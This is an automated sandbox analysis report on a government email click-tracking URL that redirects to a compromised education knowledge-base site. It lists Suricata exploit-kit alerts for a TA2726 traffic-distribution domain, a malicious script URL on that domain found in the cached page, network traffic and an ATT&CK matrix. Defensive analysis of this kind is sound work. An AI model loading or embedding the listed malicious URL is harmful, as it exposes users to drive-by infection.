Edit tour

Windows Analysis Report
https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938

Overview

General Information

Sample URL:	https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938
Analysis ID:	1665516
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Detected suspicious crossdomain redirect

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1948,i,18227594993888767319,2911250642764625356,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T16:03:05.520422+0200	2061094	1	Exploit Kit Activity Detected	192.168.2.16	53738	1.1.1.1	53	UDP
2025-04-15T16:03:05.520645+0200	2061094	1	Exploit Kit Activity Detected	192.168.2.16	55524	1.1.1.1	53	UDP

ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (javascripterhub .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T16:03:06.949690+0200	2061100	1	Exploit Kit Activity Detected	192.168.2.16	49720	193.46.217.168	443	TCP

HTTP traffic detected: POST /mod_pagespeed_beacon?url=https%3A%2F%2Feqao-kb-osslt.lswp.vretta.com%2F HTTP/1.1Host: eqao-kb-osslt.lswp.vretta.comConnection: keep-aliveContent-Length: 115sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0Accept: */*Origin: https://eqao-kb-osslt.lswp.vretta.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eqao-kb-osslt.lswp.vretta.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_GZTVF3HBYE=GS1.1.1744725788.1.0.1744725788.0.0.0; _ga=GA1.1.1720984554.1744725788

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 14:03:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close

Source: chromecache_80.1.dr	String found in binary or memory: http://getbootstrap.com/javascript/#scrollspy
Source: chromecache_71.1.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_109.1.dr, chromecache_93.1.dr	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: chromecache_71.1.dr	String found in binary or memory: http://schema.org/WPHeader
Source: chromecache_78.1.dr	String found in binary or memory: https://ad.doubleclick.net/activity;
Source: chromecache_78.1.dr	String found in binary or memory: https://ad.doubleclick.net/activity;register_conversion=1;
Source: chromecache_78.1.dr	String found in binary or memory: https://ade.googlesyndication.com/ddm/activity/
Source: chromecache_78.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_71.1.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_78.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/#breadcrumb
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/#website
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/?s=
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/administration-guidelines-and-supports-for-
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/before-during-and-after-the-assessment-for-
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-private-schools-3/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-publicly-funded-school
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/letters-checklists-and-scripts/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities-and-assessmen
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/article-categories/setting-up-and-managing-the-e-assessment-sy
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/feed/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/fr/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/knowledge-base/participation-in-the-osslt/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-me
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-st
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/blocks.style.build.css
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.j
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.j
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/css/style.css?ver=1.15.4
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/loading.svg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/js.min.js?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/scrollspy.js?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2021/02/favicom.png
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-10
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/classic-themes.min.css?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/editor/style.min.css?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/nux/style.min.css?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.2.6
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.4
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-includes/wlwmanifest.xml
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/wp-json/
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb-osslt.lswp.vretta.com/xmlrpc.php?rsd
Source: chromecache_71.1.dr	String found in binary or memory: https://eqao-kb.lswp.vretta.com/
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBXkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBnka.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCHkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCXkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkaHkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkenkaWzU.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3-UBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3CUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3GUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3OUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3iUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBA.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMawCUBGEe.woff2)
Source: chromecache_107.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMaxKUBGEe.woff2)
Source: chromecache_80.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_78.1.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/viewthroughconversion
Source: chromecache_71.1.dr	String found in binary or memory: https://javascripterhub.com/L4ohvt4YKKxSh9iz1MjAh9Mf2JnXlXIqVaHT9cVsuey
Source: chromecache_71.1.dr	String found in binary or memory: https://m0n.co/ga
Source: chromecache_78.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_78.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/ccm/collect
Source: chromecache_78.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_71.1.dr	String found in binary or memory: https://schema.org
Source: chromecache_71.1.dr	String found in binary or memory: https://schema.org/SiteNavigationElement
Source: chromecache_71.1.dr	String found in binary or memory: https://schema.org/WPFooter
Source: chromecache_71.1.dr	String found in binary or memory: https://schema.org/WPSideBar
Source: chromecache_71.1.dr	String found in binary or memory: https://schema.org/WebPage
Source: chromecache_78.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_78.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_78.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_78.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_78.1.dr	String found in binary or memory: https://www.google.com/ccm/collect
Source: chromecache_78.1.dr	String found in binary or memory: https://www.google.com/travel/flights/click/conversion
Source: chromecache_78.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_78.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_78.1.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_71.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-GZTVF3HBYE
Source: chromecache_78.1.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_78.1.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_109.1.dr, chromecache_93.1.dr	String found in binary or memory: https://www.shutterstock.com/image-photo/1919311319?utm_source=iptc&utm_medium=googleimages&
Source: chromecache_109.1.dr, chromecache_93.1.dr	String found in binary or memory: https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=we
Source: chromecache_78.1.dr	String found in binary or memory: https://www.youtube.com
Source: chromecache_78.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_71.1.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 204.41.1.85:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.41.1.85:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.182.53.34:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.46.217.168:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.125.21.99:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.182.53.34:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.182.53.34:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.76.79.50:443 -> 192.168.2.16:49745 version: TLS 1.2

Source: classification engine

Classification label: mal56.win@23/92@12/6

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1948,i,18227594993888767319,2911250642764625356,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1948,i,18227594993888767319,2911250642764625356,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
